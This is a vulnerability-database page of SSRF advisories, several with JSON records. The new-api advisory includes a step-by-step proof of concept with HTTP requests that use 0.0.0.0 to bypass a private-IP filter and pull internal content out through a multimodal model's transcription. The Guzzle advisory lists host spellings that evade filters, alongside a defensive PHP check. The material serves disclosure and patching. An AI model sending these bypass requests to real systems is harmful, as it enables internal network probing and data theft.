CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6243 vulnerabilities reference this CWE, most recent first.
GHSA-V57F-FQVF-VC6V
Vulnerability from github – Published: 2025-02-03 15:32 – Updated: 2026-04-01 18:33Server-Side Request Forgery (SSRF) vulnerability in NotFound Traveler Layout Essential For Elementor. This issue affects Traveler Layout Essential For Elementor: from n/a through 1.0.8.
{
"affected": [],
"aliases": [
"CVE-2025-22701"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-03T15:15:19Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in NotFound Traveler Layout Essential For Elementor. This issue affects Traveler Layout Essential For Elementor: from n/a through 1.0.8.",
"id": "GHSA-v57f-fqvf-vc6v",
"modified": "2026-04-01T18:33:31Z",
"published": "2025-02-03T15:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22701"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/traveler-layout-essential-for-elementor/vulnerability/wordpress-traveler-layout-essential-for-elementor-plugin-1-0-8-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5C3-6WVC-PC2Q
Vulnerability from github – Published: 2026-05-06 17:23 – Updated: 2026-05-13 13:38SSRF Filter Bypass via 0.0.0.0
Summary
The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.
Details
Root Cause
common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:
10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8169.254.0.0/16224.0.0.0/4240.0.0.0/4
0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.
Default Fetch Settings
setting/system_setting/fetch_setting.go (lines 16–24) defaults:
EnableSSRFProtection: trueAllowPrivateIp: falseAllowedPorts: ["80", "443", "8080", "8443"]ApplyIPFilterForDomain: true
So 0.0.0.0 on any of these four ports passes all checks.
Data Flow (primary chain — /v1/chat/completions)
User API token
→ /v1/chat/completions (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117 createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198 GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143 loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0
Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.
Additional Affected Endpoints
The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:
| Endpoint | User-controlled field | Auth required |
|---|---|---|
/v1/chat/completions |
image_url.url, file.file_data, video_url |
Regular user token |
/v1/responses |
input_file.file_url, input_image.image_url |
Regular user token |
/v1/messages |
source.url (type: "url") |
Regular user token |
/api/user/setting |
webhook_url, bark_url, gotify_url |
Regular user (self) |
Upgrade to Full-Read SSRF (conditional)
relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():
- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
- When
source.type == "url", it callsservice.GetBase64Data()which invokes the sameDoDownloadRequest()path - The fetched content is rewritten to
type: "base64"and inlined into the model request - The model then describes/transcribes the content in its response
This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.
Proof of Concept
Prerequisites: A regular user account with a valid API token. No admin privileges required.
Step 1 — Control group: 127.0.0.1 is blocked
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://127.0.0.1:8080/probe.png",
"detail": "low"
}
}
]
}
]
}
Response:
private IP address not allowed: 127.0.0.1
Step 2 — Experiment group: 0.0.0.0 bypasses the filter
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://0.0.0.0:8080/probe.png",
"detail": "low"
}
}
]
}
]
}
Response:
dial tcp 0.0.0.0:8080: connect: connection refused
The server attempted a real TCP connection — the SSRF filter was bypassed.
Step 3 — Confirm readback capability via multimodal model
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "claude-3-5-sonnet-latest",
"stream": false,
"max_tokens": 32,
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "Transcribe exactly the text in the image. Output only the text."
},
{
"type": "image_url",
"image_url": {
"url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
"detail": "low"
}
}
]
}
]
}
Response:
{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}
This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.
Impact
An authenticated regular user (no admin privileges) can:
- Probe localhost and internal services — Determine open/closed ports on the server by observing
connection refusedvs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443. - Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
- Bypass all previous SSRF mitigations — This is a direct bypass of the
isPrivateIP()check. No redirect chain, no DNS rebinding, no race condition required — just replacing127.0.0.1with0.0.0.0.
Since user registration is often enabled by default, any registered user can exploit this.
Suggested Fix
- Add
0.0.0.0/8to the deny list inisPrivateIP()(common/ssrf_protection.go) - Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
0.0.0.0/8("This network")100.64.0.0/10(Carrier-grade NAT)198.18.0.0/15(Benchmarking)- IPv6 equivalents:
::1,::,[::],fe80::/10 - Apply the same IP validation to post-redirect targets (already partially addressed in
service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)
Resources
- CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
- CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/QuantumNous/new-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.11.9-alpha.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42339"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T17:23:21Z",
"nvd_published_at": "2026-05-08T23:16:36Z",
"severity": "HIGH"
},
"details": "# SSRF Filter Bypass via `0.0.0.0` \n\n### Summary\n\nThe SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address `0.0.0.0`. A regular (non-admin) user holding any valid API token can send a multimodal request to `/v1/chat/completions`, `/v1/responses`, or `/v1/messages` with `0.0.0.0` as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a **blind SSRF**; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a **full-read SSRF**.\n\n### Details\n\n#### Root Cause\n\n`common/ssrf_protection.go` \u2014 `isPrivateIP()` (lines 33\u201347) checks the following ranges:\n\n- `10.0.0.0/8`\n- `172.16.0.0/12`\n- `192.168.0.0/16`\n- `127.0.0.0/8`\n- `169.254.0.0/16`\n- `224.0.0.0/4`\n- `240.0.0.0/4`\n\n**`0.0.0.0/8` is not checked.** On Linux, `0.0.0.0` resolves to the local machine, same as `127.0.0.1`.\n\n#### Default Fetch Settings\n\n`setting/system_setting/fetch_setting.go` (lines 16\u201324) defaults:\n\n- `EnableSSRFProtection: true`\n- `AllowPrivateIp: false`\n- `AllowedPorts: [\"80\", \"443\", \"8080\", \"8443\"]`\n- `ApplyIPFilterForDomain: true`\n\nSo `0.0.0.0` on any of these four ports passes all checks.\n\n#### Data Flow (primary chain \u2014 `/v1/chat/completions`)\n\n```\nUser API token\n\u2192 /v1/chat/completions (TokenAuth, no admin required)\n\u2192 messages[].content[].image_url.url = \"http://0.0.0.0:8080/...\"\n\u2192 dto/openai_request.go:111-117 createFileSource() recognises http(s):// as URL source\n\u2192 dto/openai_request.go:119-198 GetTokenCountMeta() collects image_url.url / file.file_data / video_url\n\u2192 service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true\n\u2192 service/file_service.go:135-143 loadFromURL() \u2192 DoDownloadRequest()\n\u2192 service/download.go:52-68 ValidateURLWithFetchSetting() \u2192 0.0.0.0 NOT blocked \u2192 GetHttpClient().Get()\n\u2192 Server issues real TCP connection to 0.0.0.0\n```\n\n**Note on stream requirement:** `common/init.go` (lines 140\u2013141) defaults `GET_MEDIA_TOKEN=true` but `GET_MEDIA_TOKEN_NOT_STREAM=false`, so `stream: true` is needed to trigger the fetch path.\n\n#### Additional Affected Endpoints\n\nThe same `ValidateURLWithFetchSetting()` \u2192 `DoDownloadRequest()` sink is reachable from:\n\n| Endpoint | User-controlled field | Auth required |\n|---|---|---|\n| `/v1/chat/completions` | `image_url.url`, `file.file_data`, `video_url` | Regular user token |\n| `/v1/responses` | `input_file.file_url`, `input_image.image_url` | Regular user token |\n| `/v1/messages` | `source.url` (type: `\"url\"`) | Regular user token |\n| `/api/user/setting` | `webhook_url`, `bark_url`, `gotify_url` | Regular user (self) |\n\n#### Upgrade to Full-Read SSRF (conditional)\n\n`relay/channel/aws/adaptor.go` (lines 41\u201361) \u2014 `ConvertClaudeRequest()`:\n\n- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content\n- When `source.type == \"url\"`, it calls `service.GetBase64Data()` which invokes the same `DoDownloadRequest()` path\n- The fetched content is rewritten to `type: \"base64\"` and inlined into the model request\n- The model then describes/transcribes the content in its response\n\nThis means an attacker can read the actual content of internal resources (images, PDFs, text) through the model\u0027s output, not just detect open/closed ports.\n\n### Proof of Concept\n\n**Prerequisites:** A regular user account with a valid API token. No admin privileges required.\n\n**Step 1 \u2014 Control group: `127.0.0.1` is blocked**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n \"model\": \"gpt-4o-mini\",\n \"stream\": true,\n \"max_tokens\": 1,\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"text\", \"text\": \"describe\"},\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"http://127.0.0.1:8080/probe.png\",\n \"detail\": \"low\"\n }\n }\n ]\n }\n ]\n}\n```\n\nResponse:\n\n```\nprivate IP address not allowed: 127.0.0.1\n```\n\n**Step 2 \u2014 Experiment group: `0.0.0.0` bypasses the filter**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n \"model\": \"gpt-4o-mini\",\n \"stream\": true,\n \"max_tokens\": 1,\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"text\", \"text\": \"describe\"},\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"http://0.0.0.0:8080/probe.png\",\n \"detail\": \"low\"\n }\n }\n ]\n }\n ]\n}\n```\n\nResponse:\n\n```\ndial tcp 0.0.0.0:8080: connect: connection refused\n```\n\nThe server attempted a real TCP connection \u2014 the SSRF filter was bypassed.\n\n**Step 3 \u2014 Confirm readback capability via multimodal model**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n \"model\": \"claude-3-5-sonnet-latest\",\n \"stream\": false,\n \"max_tokens\": 32,\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\n \"type\": \"text\",\n \"text\": \"Transcribe exactly the text in the image. Output only the text.\"\n },\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"https://dummyimage.com/600x180/111/fff.png\u0026text=READBACK-OK-314159\",\n \"detail\": \"low\"\n }\n }\n ]\n }\n ]\n}\n```\n\nResponse:\n\n```json\n{\"choices\":[{\"message\":{\"content\":\"READBACK-OK-314159\"}}]}\n```\n\nThis confirms that when the fetch target returns readable content (image/PDF/text), the model\u0027s response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on `0.0.0.0:\u003callowed-port\u003e` returns image or document content, an attacker can exfiltrate it.\n\n### Impact\n\nAn authenticated regular user (no admin privileges) can:\n\n1. **Probe localhost and internal services** \u2014 Determine open/closed ports on the server by observing `connection refused` vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.\n2. **Exfiltrate internal content** \u2014 When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).\n3. **Bypass all previous SSRF mitigations** \u2014 This is a direct bypass of the `isPrivateIP()` check. No redirect chain, no DNS rebinding, no race condition required \u2014 just replacing `127.0.0.1` with `0.0.0.0`.\n\nSince user registration is often enabled by default, any registered user can exploit this.\n\n### Suggested Fix\n\n1. Add `0.0.0.0/8` to the deny list in `isPrivateIP()` (`common/ssrf_protection.go`)\n2. Audit against the full [[IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/)](https://www.iana.org/assignments/iana-ipv4-special-registry/) \u2014 also ensure coverage for:\n - `0.0.0.0/8` (\"This network\")\n - `100.64.0.0/10` (Carrier-grade NAT)\n - `198.18.0.0/15` (Benchmarking)\n - IPv6 equivalents: `::1`, `::`, `[::]`, `fe80::/10`\n3. Apply the same IP validation to post-redirect targets (already partially addressed in `service/http_client.go:24-33`, but does not help when the initial address itself bypasses the filter)\n\n### Resources\n\n- **CVE-2025-59146** (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5\n- **CVE-2025-62155** (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6",
"id": "GHSA-v5c3-6wvc-pc2q",
"modified": "2026-05-13T13:38:24Z",
"published": "2026-05-06T17:23:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42339"
},
{
"type": "PACKAGE",
"url": "https://github.com/QuantumNous/new-api"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9f46-w24h-69w4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0"
}
GHSA-V5C4-WCPJ-X73M
Vulnerability from github – Published: 2026-06-26 23:03 – Updated: 2026-06-26 23:03Impact
The Glide image proxy's URL validation could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname's DNS could rebind it to an internal address after validation. This could cause the server to make HTTP requests to internal addresses — including loopback, private network, and cloud metadata endpoints.
This affects sites that pass user-supplied URLs to Glide.
Patches
This has been fixed in 5.73.24 and 6.20.1.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "statamic/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.73.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "statamic/cms"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54242"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:03:28Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThe Glide image proxy\u0027s URL validation could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname\u0027s DNS could rebind it to an internal address after validation. This could cause the server to make HTTP requests to internal addresses \u2014 including loopback, private network, and cloud metadata endpoints.\n\nThis affects sites that pass user-supplied URLs to Glide.\n\n\n### Patches\n\nThis has been fixed in 5.73.24 and 6.20.1.",
"id": "GHSA-v5c4-wcpj-x73m",
"modified": "2026-06-26T23:03:29Z",
"published": "2026-06-26T23:03:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/statamic/cms/security/advisories/GHSA-v5c4-wcpj-x73m"
},
{
"type": "PACKAGE",
"url": "https://github.com/statamic/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Statamic Vulnerable to Server-Side Request Forgery via Glide (DNS rebinding)"
}
GHSA-V5F5-7FMG-8VMH
Vulnerability from github – Published: 2024-04-02 06:30 – Updated: 2024-08-28 21:31Server Side Request Forgery (SSRF) vulnerability in 71cms v1.0.0, allows remote unauthenticated attackers to obtain sensitive information via getweather.html.
{
"affected": [],
"aliases": [
"CVE-2024-25187"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-02T04:15:12Z",
"severity": "HIGH"
},
"details": "Server Side Request Forgery (SSRF) vulnerability in 71cms v1.0.0, allows remote unauthenticated attackers to obtain sensitive information via getweather.html.",
"id": "GHSA-v5f5-7fmg-8vmh",
"modified": "2024-08-28T21:31:27Z",
"published": "2024-04-02T06:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25187"
},
{
"type": "WEB",
"url": "https://github.com/xiaocheng-keji/71cms/issues/2"
},
{
"type": "WEB",
"url": "https://gist.github.com/wisejayer/d365e93ce09b8a36641165e1d1a0a06c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V5G3-MW88-C3JM
Vulnerability from github – Published: 2023-03-31 21:30 – Updated: 2023-04-10 18:30forem up to v2022.11.11 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /articles/{id}. This vulnerability allows attackers to access network resources and sensitive information via a crafted POST request.
{
"affected": [],
"aliases": [
"CVE-2023-27160"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-31T19:15:00Z",
"severity": "HIGH"
},
"details": "forem up to v2022.11.11 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /articles/{id}. This vulnerability allows attackers to access network resources and sensitive information via a crafted POST request.",
"id": "GHSA-v5g3-mw88-c3jm",
"modified": "2023-04-10T18:30:22Z",
"published": "2023-03-31T21:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27160"
},
{
"type": "WEB",
"url": "https://gist.github.com/b33t1e/6172286862a4486b5888f3cbbdc6316d"
},
{
"type": "WEB",
"url": "https://github.com/forem/forem"
},
{
"type": "WEB",
"url": "https://notes.sjtu.edu.cn/s/MUUhEymt7"
},
{
"type": "WEB",
"url": "http://forem.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V5G8-P43F-VV3P
Vulnerability from github – Published: 2024-04-06 21:30 – Updated: 2024-08-01 15:31An issue in Ladder v.0.0.1 thru v.0.0.21 allows a remote attacker to obtain sensitive information via a crafted request to the API.
{
"affected": [],
"aliases": [
"CVE-2024-27620"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-06T19:15:07Z",
"severity": "HIGH"
},
"details": "An issue in Ladder v.0.0.1 thru v.0.0.21 allows a remote attacker to obtain sensitive information via a crafted request to the API.",
"id": "GHSA-v5g8-p43f-vv3p",
"modified": "2024-08-01T15:31:37Z",
"published": "2024-04-06T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27620"
},
{
"type": "WEB",
"url": "https://everywall.github.io"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/177506/Ladder-0.0.21-Server-Side-Request-Forgery.html"
},
{
"type": "WEB",
"url": "http://ladder.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5J5-586P-Q8QM
Vulnerability from github – Published: 2024-12-17 06:30 – Updated: 2024-12-17 06:30The WP All Import Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.9.3 due to missing SSRF protection on the pmxi_curl_download function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On cloud platforms, it might allow attackers to read the Instance metadata.
{
"affected": [],
"aliases": [
"CVE-2024-9624"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-17T06:15:21Z",
"severity": "HIGH"
},
"details": "The WP All Import Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.9.3 due to missing SSRF protection on the pmxi_curl_download function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On cloud platforms, it might allow attackers to read the Instance metadata.",
"id": "GHSA-v5j5-586p-q8qm",
"modified": "2024-12-17T06:30:34Z",
"published": "2024-12-17T06:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9624"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eabde2e7-5cd4-4c3e-959a-69e04f6350d3?source=cve"
},
{
"type": "WEB",
"url": "https://www.wpallimport.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5JF-XRP6-XCRP
Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2022-05-14 02:57An SSRF vulnerability was discovered in idreamsoft iCMS before V7.0.11 because the remote function in app/spider/spider_tools.class.php does not block private and reserved IP addresses such as 10.0.0.0/8. NOTE: this vulnerability exists because of an incomplete fix for CVE-2018-14514.
{
"affected": [],
"aliases": [
"CVE-2018-14858"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-02T20:29:00Z",
"severity": "HIGH"
},
"details": "An SSRF vulnerability was discovered in idreamsoft iCMS before V7.0.11 because the remote function in app/spider/spider_tools.class.php does not block private and reserved IP addresses such as 10.0.0.0/8. NOTE: this vulnerability exists because of an incomplete fix for CVE-2018-14514.",
"id": "GHSA-v5jf-xrp6-xcrp",
"modified": "2022-05-14T02:57:53Z",
"published": "2022-05-14T02:57:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14858"
},
{
"type": "WEB",
"url": "https://github.com/idreamsoft/iCMS/issues/33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5MV-P594-2X33
Vulnerability from github – Published: 2026-08-03 21:07 – Updated: 2026-08-03 21:07Impact
In affected versions, Guzzle gives a transport the request URI as text and supplies the Host header separately. The cURL handlers set CURLOPT_URL to the URI exactly as written and push that Host into CURLOPT_HTTPHEADER; StreamHandler does the same through fopen(). libcurl then parses the authority itself, percent-decoding it and, on an IDN-capable build, applying IDNA mapping, and uses the result to resolve, connect, name the TLS peer and address a proxy CONNECT, while the supplied Host suppresses the aligned one it would have generated. In http://127.0.0.%31/ the URI host is one filter_var() rejects as an IP literal, yet libcurl decodes it to 127.0.0.1 and reaches loopback with no DNS lookup while the server receives Host: 127.0.0.%31.
An attacker who influences a fetched URI can therefore reach a host the application's checks excluded and read whatever it exposes of the response. The same divergence moves Guzzle's own decisions onto a spelling the transport does not use: no_proxy selects proxy routing from the literal host, and RedirectMiddleware decides from it whether to strip Authorization and Cookie. The cookie middleware extracts Set-Cookie against the URI Guzzle produced, not the authority contacted, so for a raw divergent URI the cookie is stored under the URI host as written. Where Guzzle rewrote that URI but left a divergent Host, or where the caller supplied one, the cookie is stored under the canonical name and replayed by ordinary later requests to it. With a third-party UriInterface, a host of blocked.example.com@127.0.0.1 reaches 127.0.0.1 through all three handlers and generates Authorization: Basic from userinfo the application never wrote.
Exploitation requires the application to build a request URI from untrusted input and to make a host decision before handing it to Guzzle. Applications that only fetch URIs they construct themselves are not affected, and an exact allowlist of canonical names ordinarily fails closed; the exposure is to denylists, private-range and IP-literal checks, and any check that treats an unresolvable name as safe. The raw Unicode class needs an IDNA transformation somewhere: either a libcurl built with IDN support or Guzzle's own idn_conversion, off by default on both branches, which rewrites the URI in Client::buildUri() before a handler sees it and leaves a prebuilt request's explicit Host as written, while a request the client builds derives that header from the rewritten URI and produces no divergence. Noncanonical numeric spellings such as 127.1, 2130706433, 0x7f000001 and 0177.0.0.1 remain accepted after the patch and reach whatever the transport reads them as, loopback or a routable public host, and the cURL and stream handlers can differ, so a check comparing a host against an address as text stays bypassable. Guzzle does not offer SSRF protection, and neither cache poisoning nor cross-tenant compromise was established.
Patches
This is a summary; the patches are the authority. The issue is fixed in 7.15.2 and 8.0.1, which validate the request host in all three built-in handlers before any network I/O. A URI host is rejected for a byte outside 0x21 to 0x7E, a percent escape, a URI authority delimiter, unbalanced brackets, or numeric-looking parts followed by a trailing dot. That last rule is deliberately conservative and also refuses out-of-range forms libcurl keeps as names, such as 256.0.0.1.. An explicit Host header must be printable ASCII, and on 7.15.2 free of percent escapes. The client also regenerates a derived Host when it rewrites the request URI. Versions before 7.15.2 and version 8.0.0 are affected.
Workarounds
If you cannot upgrade, constrain the host yourself before handing a URI to Guzzle, and constrain any explicit Host header separately, on every redirect hop. The URI rule assumes $uri is a validated GuzzleHttp\Psr7\Uri, so re-parse a third-party UriInterface with new Uri((string) $uri) first.
$host = $uri->getHost();
if (
preg_match('/\A[\x21-\x7E]*\z/D', $host) !== 1
|| strpbrk($host, '%@/?#\\') !== false
|| substr($host, -1) === '.'
) {
throw new RuntimeException('Refusing to fetch this URI host.');
}
if (
preg_match('/\A[\x21-\x7E]*\z/D', $hostHeader) !== 1
|| strpos($hostHeader, '%') !== false
) {
throw new RuntimeException('Refusing to send this Host header.');
}
It differs from the patch in both directions: it refuses example.com., which the patch accepts, and it does not canonicalize 127.1 or 0x7f000001. Reparsing the URI separates a valid port from the host and rejects malformed bracket forms, so the snippet checks the host component alone. idn_conversion => true is not an access control, since IDNA maps 127。0。0。1 onto 127.0.0.1 and direct handler use bypasses it, and Uri::getHost() is not an SSRF boundary: it is the host as written, not the host a transport connects to. Where the destination matters, resolve the host and check the addresses, and use a separate cookie jar for untrusted origins.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.15.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69246"
],
"database_specific": {
"cwe_ids": [
"CWE-180",
"CWE-436",
"CWE-918",
"CWE-941"
],
